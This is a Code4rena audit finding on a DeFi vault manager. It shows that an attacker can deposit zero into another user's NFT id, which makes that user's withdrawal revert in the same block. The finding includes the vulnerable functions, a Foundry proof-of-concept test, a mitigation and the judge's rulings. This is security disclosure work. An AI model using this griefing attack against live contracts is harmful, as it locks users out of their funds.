Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 182/183
Findings: 1
Award: $0.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
Judge has assessed an item in Issue #1206 as 2 risk. The relevant finding follows:
[LOW-01] - No possibility for the user to withdraw funds Impact While using the withdrawal function, there is a check that “Withdrawal should not be in the same block as deposit”.
function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10_vault.oracle().decimals() / 10_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); } the deposit() function sets the block.number
function deposit( uint id, address vault, uint amount ) external isValidDNft(id) { idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); } so the attacker can browse the mempool or run a loop for each block by specifying someone else’s token id and passing amount=0, thus preventing the attacker from withdrawing funds to the user.
Proof of Concept function testDeposit() public { deal(alice, 1 ether); uint256 id = contracts.vaultManager.dNft().mintNft{value: 1 ether}( alice ); assertEq(alice, contracts.vaultManager.dNft().ownerOf(644));
vm.prank(attacker); contracts.vaultManager.deposit(644, address(contracts.ethVault), 0); vm.prank(alice); contracts.vaultManager.withdraw( 644, address(contracts.ethVault), 10, alice ); }
Failing tests: Encountered 1 failing test in test/fork/v2.t.sol:V2Test [FAIL. Reason: DepositedInSameBlock()] testDeposit() (gas: 213595) Tools Used forge
Recommended Mitigation Steps Сonsider adding the isDNftOwner(uint id) modifier to the deposit() function
#0 - c4-judge
2024-05-11T11:07:09Z
koolexcrypto marked the issue as duplicate of #1001
#1 - c4-judge
2024-05-11T19:45:23Z
koolexcrypto marked the issue as satisfactory
#2 - c4-judge
2024-05-13T18:34:47Z
koolexcrypto changed the severity to 3 (High Risk)